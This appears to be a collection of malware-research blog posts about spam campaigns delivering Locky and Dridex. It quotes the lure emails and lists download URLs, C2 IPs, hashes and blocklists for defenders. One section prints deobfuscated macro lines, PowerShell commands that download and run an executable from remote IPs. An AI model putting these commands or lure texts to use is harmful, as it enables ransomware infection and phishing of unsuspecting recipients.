Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

028cdxyk.com/mltxgc1
1688daigou.com/csuix
2lazy4u.de/ca4yq
adv-tech.ru/7p1jia
allan.multimediedesignerskive.dk/pohtr8mwl
amaniinitiative.org/ubaupn
artcoredesign.com/9ihg6by
atelier-coccolino.com/cvpphnaf7o
auto-zakaz.com.ua/phwcg
bantiki.me/hzzgidch
bikebrowse.com/qap3je2
blueprint-dsg.com/dtr22
bvntech.com/amrwwxei
chonamyoung.com/9vsdld
cprsim.com/h9o3msx
dealspari.com/r2jvx5h6kc
demo.ahost5.ru/dhvzqqbo
demo.pornuha4you.com/lba7ajvti
deutsch.awardspace.info/0zetkhmp
dicksmacker.com/qq4ctnrgc
dryerventexpress.com/pnpafot9g
elevationmusic.de/6gcg6
e-studiz.com/hn0hl7i
formatwerbung.de/axxlilgd
gieslerdavies.com/cjhwnit
goldenarms.myjino.ru/3wn40qkg
gwerucity.org.zw/a3fsqhu9od
happyfeet.de/7rebctpqn5
hho68.com/hbowe
honestflooring.com/85i95u6vd
houssiere.daniel.formations-web.alsace/npqddd8b
infinitecorp.ca/to7jp7
kawagebook.com/5cbwdd5hap
kayamuh.sarf.com.tr/nou0chc
ledticket.com/pbmcdnx5rj
lucapotenziani.com/zjtguxf
mainlinecarriers.co.tz/ycj7o
martawyczynska.com/ilfvn
mbdvacations.com/ou8kkem
movewithgrace.ca/r8omwc
obccllc.com/tze5um3hh
old.strommarnas.se/yazezuw7og
seven-cards.com/xe2llygi
spikaflora.ru/zyubd6mlb
store.elixe.net/jltuvjpcsh
test1.zrise.top/isk90e
testlife.ruyigou.com/pv2ryezg7
theexcelconsultant.com/vp9u7tpa
thezenatwork.com/yd2c49vg0
topstoneisland.com/ud4jqd
tunca.bel.tr/uo3jnqkgxn
ustadhanif.com/q0w93lkrvp
www.boldrini.org.br/csneth51
www.chocolaterie-servant.com/1l38y2p
www.englishworld.it/w6ynmr
www.kottalgenealogy.com/vkwf5rll0s
www.sapol.it/ou8e1ftep
zapotech.com/sqagj4
zhongguanjiaoshi.com/mklu7

The malware then phones home to the following locations:

185.129.148.56/checkupdate (MWTV, Latvia)
178.209.51.223/checkupdate [hostname: 454.SW.multiservers.xyz] (EDIS, Switzerland)
37.235.50.119/checkupdate [hostname: 454.2.SW.multiservers.xyz] (EDIS, Switzerland)

Recommended blocklist:
185.129.148.0/24
178.209.51.223
37.235.50.119

Malware spam: "The office printer is having problems so I've had to email the UPS label"

This fake UPS email has a malicious attachment. It appears to come from various countries UPS domains (e.g. ups.de, ups.co.uk), and from various senders.

From     "Laurence lumb" [Laurence.lumb25@ups.de]
Date     Thu, 18 Aug 2016 17:35:21 +0530
Subject     Emailing: Label

Good afternoon

The office printer is having problems so I've had to email the UPS label,
sorry for the inconvenience.

Cheers

Laurence lumb

Attached is a ZIP file with a name beginning "Label" plus a random number. This contains a malicious .WSF script file that downloads Locky ransomware from one of the following locations (according to my trusted source):

a-plusrijopleiding.nl/jkYTFhb7
cloud9surfphilippines.com/jkYTFhb7
concurs.kzh.hi2.ro/jkYTFhb7
cs-czosnusie.cba.pl/jkYTFhb7
dasproject.homepage.t-online.de/jkYTFhb7
detlevs-homepage.de/jkYTFhb7
edios.vzpsoft.com/jkYTFhb7
entree22.homepage.t-online.de/jkYTFhb7
entrematicomstyle.com/jkYTFhb7
hanakago3.web.fc2.com/jkYTFhb7
infocoard.50webs.com/jkYTFhb7
mortony.cba.pl/jkYTFhb7
ramenman.okoshi-yasu.com/jkYTFhb7
rgcgifuhashima.aikotoba.jp/jkYTFhb7
sulportale.50webs.com/jkYTFhb7
wb4rsun8c.homepage.t-online.de/jkYTFhb7
www.1-anwalt.de/jkYTFhb7
www.alexpalmieri.com/jkYTFhb7
www.beneli.be/jkYTFhb7
www.bkcelje.50webs.com/jkYTFhb7
www.ceccatobassano.it/jkYTFhb7
www.fabriziorossi.it/jkYTFhb7
www.jphmvossen.nl/jkYTFhb7
www.kdr.easynet.co.uk/jkYTFhb7
www.learnetplus.org/jkYTFhb7
www.lechner-maria.de/jkYTFhb7
www.parma-vivai.it/jkYTFhb7
www.pizzeriaelite.it/jkYTFhb7
www.pulsefl.0catch.com/jkYTFhb7
www.unice.it/jkYTFhb7
zsp17.y0.pl/jkYTFhb7

This dropped binary has a detection rate of 6/54. It phones home to the following locations:

185.129.148.19/php/upload.php (MWTV, Latvia)
51.255.107.8/php/upload.php (Webhost LLC Dmitrii Podelko, Russia / OVH, France)
194.67.210.183/php/upload.php (Marosnet, Russia)

Recommended blocklist:
185.129.148.0/24
51.255.107.8
194.67.210.183

Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal
Date:    11 February 2015 at 09:14
Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.

The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC
Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 
Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND
Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC

The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159
78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

(Note, for researchers only a copy of the files can be found here, password=infected)

Malware spam: "As you directed, I send the attachment containing the data about the new invoices"

Another day, another Locky ransomware run:

From:    Marian Mcgowan
Date:    3 August 2016 at 11:15
Subject:    Fw: New invoices

As you directed, I send the attachment containing the data about the new invoices

Attached is a randomly-named ZIP file which contains a highly obfuscated .js script  which according to this Malwr analysis downloads a binary from..

blog-aida.cba.pl/2zensi7t

..when decrypted it creates a binary with a detection rate of 4/54. That same Malwr analysis shows it phoning home to:

93.170.104.20/php/upload.php (Breezle LLC, Netherlands) [hostname: pundik.rus.1vm.in]

This IP was seen last night and it seems that there is a concurrent Locky spam run phoning home to:

185.129.148.19/php/upload.php (MWTV, Latvia)
89.108.127.160/php/upload.php (Agava, Russia) [hostname: srv1129.commingserv.com]

Both those IPs are in known bad blocks.

Recommended blocklist:
93.170.104.20
185.129.148.0/24
89.108.127.0/24

Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"

This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.

From:    Bobby Drell [rob@abbottpainting.com]
Date:    5 March 2015 at 10:27
Subject:    Brochure2.doc

Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell

Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:

http://data.gmsllp.com/js/bin.exe

This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.

Automated analysis tools [1] [2] show it phoning home to the following IPs:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)

Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24

Malware spam: "ATTN: Outstanding Invoices - [4697E0] [April|May]"

This spam comes with random senders and reference numbers, but in all cases includes a malicious attachment:

From:    Debbie Barrett
Date:    12 May 2015 at 11:14
Subject:    ATTN: Outstanding Invoices - [4697E0] [April|May]

Dear anthony,

Kindly find attached our reminder and copy of the relevant invoices.
Looking forward to receive your prompt payment and thank you in advance.

Kind regards

The attachment name combines the recipient's email address with the fake reference number, e.g. barry_51DDAF.xls which isn't actually an Excel file at all, but a multipart MIME file. Payload Security's Hybrid Analysis tools manages to analyse it though, showing several steps in the infection chain.

First a VBScript is downloaded from pastebin[.]com/download.php?i=5K5YLjVu

Secondly, that VBScript then downloads a file from 92.63.88[.]87:8080/bt/get.php (MWTV, Latvia) which is saved as crypted.120.exe, this has a detection rate of 2/57.

This component then connects to 46.36.217.227 (FastVPS, Estonia) and according to this Malwr report drops a Dridex DLL with a detection rate of 3/56.

There are several different attachments, so far I have seen the following MD5s:
110B42E097A7677A993CF1B3B24743D8
20AEB9ECEBC26B3CDE960728E890F904
33A8CBE7B75B20B5EA1069E3E2A13D80
3973E29F7BDC7903FFCB596B10F9FD54
7019D711AE0E2FEDEE25EAA3341CFB7F
949816F4DF724E690690B3C8AD3871D4
9CDEFFBAC7B79302D309404E6F3068C4
B5C2393D44D8E0C94D04E2D159AE8776
B84D52F59AEC53B8D7FA109D256FCB6B
CA5E8A531A8EE24B15FC7B2A66502042
E99216D829C632DF24ECAD9162AF654C
EC1AD4316DBA799EF2E2440E715CD5F5
F4B5B0AE85F27E0A475BD359F5BE76E8
F666682D638FE67607DD189705844AD5

The MD5s for the malware components are:
DD7ADC5B140835DC22F6C95694F9C015
9AFECFAA484C66F2DD11F2D7E9DC4816
838F0A8D3FCBD0DDB2F8E8D236D17957

Recommended blocklist:
92.63.88.0/24
46.36.217.227

Malware spam: This E-mail was sent from "CUKPR0329001" (Aficio MP C305).

This spam comes with a malicious attachment:

Subject:     Message from "CUKPR0317276"
From:     scanner@victimdomain.tld (scanner@victimdomain.tld)
To:     webmaster@victimdomain.tld;
Date:     Friday, 12 August 2016, 14:00

This E-mail was sent from "CUKPR0329001" (Aficio MP C305).

Scan Date: 17.11.2015 09:08:40 (+0000)
Queries to: <scanner@victimdomain.tld

The email appears to come from within the victim's own domain (but this is just a simple forgery). Attached is a ZIP file with a name similar to 201608120908.zip which contains a malicious .WSF script with a name similar to doc(171)-12082016.wsf

This Hybrid Analysis shows the script downloading a file from www.hi-segno.com/02bjJBHDs?WUubFbrItd=ratyCr (and also the same location on bonmoment.web.fc2.com and www.homesplus.nf.net) but a trusted source tells me that the following download locations appear in different scripts:

birthday-cards.50webs.com/02bjJBHDs
bonmoment.web.fc2.com/02bjJBHDs
broda.50webs.com/02bjJBHDs
coachinglegend2.atspace.com/02bjJBHDs
dopelx.com/02bjJBHDs
einfachwalter.homepage.t-online.de/02bjJBHDs
files.zdaspb.ru/02bjJBHDs
kolkhoz.web.fc2.com/02bjJBHDs
muteofficial.web.fc2.com/02bjJBHDs
portraitstaffa.de/02bjJBHDs
preglitzer.heimat.eu/02bjJBHDs
scom2.web.fc2.com/02bjJBHDs
seinyco.es/02bjJBHDs
sportpferde-weihmayer.homepage.t-online.de/02bjJBHDs
studiocorrado.org/02bjJBHDs
sv-sportscars.nl/02bjJBHDs
tianooze.web.fc2.com/02bjJBHDs
www.bitupont.hu/02bjJBHDs
www.ceccosport.it/02bjJBHDs
www.herinvest.be/02bjJBHDs
www.hi-segno.com/02bjJBHDs
www.homesplus.nf.net/02bjJBHDs
www.meckem.de/02bjJBHDs
www.meteoerba.it/02bjJBHDs
www.milleniumbar.it/02bjJBHDs
www.nikawilliam.net/02bjJBHDs
www.oxxengarde.de/02bjJBHDs
www.planetk.it/02bjJBHDs
www.smilehi.info/02bjJBHDs

The malware phones home to:

185.129.148.19/php/upload.php (MWTV, Latvia)
138.201.56.190/php/upload.php (Hetzner, Germany)

That Latvian network range is all bad, I recommend that you block the lot. The payload is Locky ransomware.

Recommended blocklist:
185.129.148.0/24
138.201.56.190

Malware spam: "Circor [_CIG-EDI@circor.com]" / "CIT Inv# 15000375 for PO# SP14161"

This fake finance spam pretends to be from the wholly legitimate firm Circor, but it is not. Instead, it is a forgery with a malicious Word document attached.

From:    Circor [_CIG-EDI@circor.com]
Date:    3 February 2015 at 09:56
Subject:    CIT Inv# 15000375 for PO# SP14161

Please do not respond to this email address.  For questions/inquires, please
contact our Accounts Receivable Department.


______________________________________________________________________
This email has been scanned by the MessageLabs outbound
Email Security System for CIRCOR International Inc.
For more information please visit http://www.symanteccloud.com
______________________________________________________________________

Don't be fooled by the email signature, the attachment is definitely nasty. So far I have only seen one version with a detection rate of 4/55, which contains a malicious macro [pastebin] that downloads a component from:

http://gloo.ng/js/bin.exe

..which is then saved as %TEMP%\\dsfsdf.exe. This has a VirusTotal detection rate of 3/48 (it is identified as a Dridex component). According to the Malwr report, this phones home to a couple of IPs that I haven't seen before:

143.107.17.183 (Universidade De Sao Paulo, Brazil)
92.63.88.108 (MWTV SIA, Latvia)

It also drops a DLL with a detection rate of 3/56.

Recommended blocklist:
143.107.17.183
92.63.88.108

Malware spam: "Business card" / "I have attached the new business card design." leads to Locky

This spam email has a malicious attachment:

From:    Glenna Johnson
Date:    4 August 2016 at 10:18
Subject:    Business card

Hello [redacted],

I have attached the new business card design.
Please let me know if you need a change


King regards,
Glenna Johnson
c75b53fd1ea488ebe8eaf068fd5c9dd13f1848f4d3a7

Sender names and that long hexadecimal number with vary. Attached is a randomly-named ZIP file containing a malicious .js script beginning with "business card" [example]. The payload appears to be Locky ransomware.

This Hybrid Analysis of the script gives plenty of detail as to what is going on. My trusted sources tell me that the list of download locations is quite short:

escapegasmech.com/048220y5
goldjinoz.com/0a3tg
platimunjinoz.ws/13fo8lnl
regeneratewert.ws/1qvvu9lu
traveltotre.in/2c4ykij7

This drops a binary with a detection rate of 8/54. The earlier Hybrid Analysis report shows it phoning home to:

31.41.46.29/php/upload.php (Relink Ltd, Russia) [hostname: ip.cishost.ru]
185.129.148.19/php/upload.php (MWTV, Latvia)
91.219.29.35/php/upload.php (FLP Kochenov Aleksej Vladislavovich aka uadomen.com, Ukraine) [hostname: 35.29.219.91.colo.ukrservers.com]

All of those network blocks have a pretty poor reputation and I recommend that you block their entire ranges.

Recommended blocklist:
31.41.40.0/21
185.129.148.0/24
91.219.28.0/22

Malware spam: "Please find attached the file we spoke about yesterday" leads to Locky

This spam appears to come from random senders, and leads to Locky ransomware:

From:    Graham Roman
Date:    23 May 2016 at 11:59
Subject:    Re:

Hi [redacted]

Please find attached the file we spoke about yesterday.

Thank you,
Graham Roman
PCM, Inc.

Attached is a ZIP file starting with copy_invoice_ and then a random sequence. This contains a malicious script file which in the sample I analysed downloads an obfuscated binary from:

oakidea.com/by2eezw8
islandflavaja.com/0p1nz
dragqueenwig.com/itukabk

Automated analysis of the script [1] [2] shows it dropping a file klA1KMQj2D.exe which has a VirusTotal detection rate of 5/56. Those prior reports plus these additional analyses of the binary [3] [4] [5] show network traffic to:

188.166.168.250 (Digital Ocean, UK)
31.41.44.45 (Relink Ltd, Russia)
92.63.87.53 (MWTV, Latvia)

Those reports all demonstrate clearly that this is Locky ransomware, although the barely encrypted downloaded binaries are a new feature.

UPDATE

Trusted third-party analysis (thank you) shows some additional download locations:

4cornerbazaar.com/rcjmp
ap-shoes.com/r3mkkch
b2cfurniture.com.au/ztydt7
babyhalfoff.com/di286c
bekith.com/twe4puv
canalshopping.com.br/kf5d9
ereganto.com.br/4bxi09t
farmavips.com/hlnl21tf
fina-mente.com/kitrl2
hablatinamerica.com/mkhxrsm
jhplhomedecor.com/m637g
joyofgiving.com.au/1b6v94yu
la-mousson.de/pxwimc
lojaonline.eurobar.pt/kmdb4euf
maibey.com/bakcy9s
metallerie.com/uh0kd
mymy365.com/d7bd2
objetsdinterieur.com/0p1nz
peptide-manufacturer.com/jc6pxks
pro-lnz.com/9ed5v5v
promotionalsales.com.au/0iobfbwc
store.steelalborz.com/fw4i3ssf
stylelk.com/12opjwfh

The MD5s of decrypted downloaded files are:

0cef8d79dd32b5701768ffb3e80dd6c9
18e1591325994d60468e58b30bd47ec7
1e1b9729198cb392636ad4b8ec880284
1eacf23630db85c2af07d2657c1a0917
2742891aff1f20ee09a67d29c5b4157d
2f7373602c67761a1666c3170a0adfd9
4f4d754ffb9b33c5b2b7ec6c38dc6a30
517c1805c2b805a801a6132bfd9d7a69
64eef31dc4cd4dc1ca51b6686e4cdaa1
6fc220a8b95e2167c21d0e1f91a516cb
73552fcfff60a171965103d691679b43
8108de8bf200d4baa62541e9eeca2ee4
9125956e3ee99b9f59b595fcba9ac658
9da331f4353f5b0033c162eb308a8197
a01d60682ad5fadc9018908185e8cde3
aceec3d6334e925297efc8d4232473c2
afd40dca335530ec993d9cf91be96b4c
d69adb50c7f2436f5f7502f22b3a5714
dab81432d4d6241e47d7110b8d051f41
de6c020b8639fda713fbe2285dc6740c
eb3391cefb6634e587b58e0d6540c7c3
fb56f158f6f4c81f7bed2a7c4490fadb

One additional C2 server:

176.31.47.100 (Unihost, Seychelles / OVH , France)

Recommended blocklist:
188.166.168.250
31.41.44.45
92.63.87.53
176.31.47.100

"Remittance Advice" spam comes with a malicious Excel attachment

This fake remittance advice comes with a malicious Excel attachment.

From:    Whitney
Date:    23 December 2014 at 09:12
Subject:    Remittance Advice -DPRC93

Confidentiality and Disclaimer:  This email and its attachments are intended for the addressee only and may be confidential or the subject of legal privilege.
If this email and its attachments have come to you in error you must take no action based on them, nor must you copy them, distribute them or show them to anyone.
Please contact the sender to notify them of the error.

---

This email and any attached files have been scanned for the presence of computer viruses. However, you are advised that you open any attachments at your own risk.
Please note that electronic mail may be monitored in accordance with the Telecommunications (Lawful Business Practices)(Interception of Communications) Regulations 2000.

The reference in the subject varies, and the name of the attachment always matches (so in this case DPRC93.xls). There are in fact three different versions of the document, all of which have a malicious macro. At the moment, this is poorly-detected by AV vendors [1] [2] [3] [4].

If you read this blog regularly then you might have seen me mention these attacks many times before, and most of these have a familiar pattern. However, the macro has now changed completely, as it now loads some of the data from the Excel spreadsheet itself.

The macro itself looks like this [pastebin] and as far as I can tell from it, it loads some data from the Excel spreadsheet and puts it into a file %TEMP%\windows.vbs. So far I have seen four different scripts [1] [2] [3] [4] which download a component from one of the following locations:

http://185.48.56.133:8080/sstat/lldvs.php
http://95.163.121.27:8080/sstat/lldvs.php
http://92.63.88.100:8080/sstat/lldvs.php
http://92.63.88.106:8080/sstat/lldvs.php

It appears that this email is downloaded as test.exe and is then saved as %TEMP%\servics.exe.

The ThreatExpert report shows traffic to the following:

194.146.136.1 (PE "Filipets Igor Victorovych", Ukraine)
80.237.255.196 (Denes Balazs / HostEurope, Germany)
85.25.20.107 (PlusServer AG, Germany)

VirusTotal indicates a detection rate of just 3/54, and identifies it as Dridex.

Recommended blocklist:
194.146.136.1
80.237.255.196
85.25.20.107
185.48.56.133
95.163.121.27
92.63.88.100
92.63.88.106

Note that there are two IPs acting as downloaders in the 92.63.88.0/24 range (MWTV, Latvia). It may be that you would also want to block that range as well.

Malware spam: "FX Service" / "Fax transmission" spoofing victim's domain

This fake fax spam appears to come from within the victim's own domain, but it doesn't. Instead is is just a simple forgery with a malicious attachment.

From:    FX Service [emailsend@w.e191.victimdomain.tld]
Date:    21 March 2016 at 14:32
Subject:    Fax transmission: -7172277033-1974602246-2016032111285-47417.tiff

Please find attached to this email a facsimile transmission we
have just received on your behalf

(Do not reply to this email as any reply will not be read by
a real person)

Details will vary from message to message. Attached s a ZIP file with a name that broadly matches the one referred to in the subject (e.g. F-7172277033-1974602246-2016032111285-47417.zip) which contains any one of a wide number of malicious scripts (some example VirusTotal results [1] [2] [3] [4] [5]). Malwr analysis of those samples [6] [7] [8] [9] [10] shows binary download locations at:

http://modaeli.com/89h766b.exe
http://spormixariza.com/89h766b.exe
http://sebastiansanni.org/wp-content/plugins/hello123/89h766b.exe
http://cideac.mx/wp-content/plugins/hello123/89h766b.exe

There are probably other download locations too. The dropped binary has a VirusTotal detection rate of just 2/56.  This Malwr report of the payload indicates that it is Locky ransomware.

All of those sources plus this Deepviz report show network traffic to the following IPs:

195.64.154.126 (Ukrainian Internet Names Center, Ukraine)
92.63.87.106 (MWTV, Latvia)
84.19.170.244 (Keyweb AG, Germany / 300GB.ru, Russia)
217.12.199.90 (ITL Company, Ukraine)

If I receive more information I will post it here.

Recommended blocklist:
195.64.154.126
92.63.87.106
84.19.170.244
217.12.199.90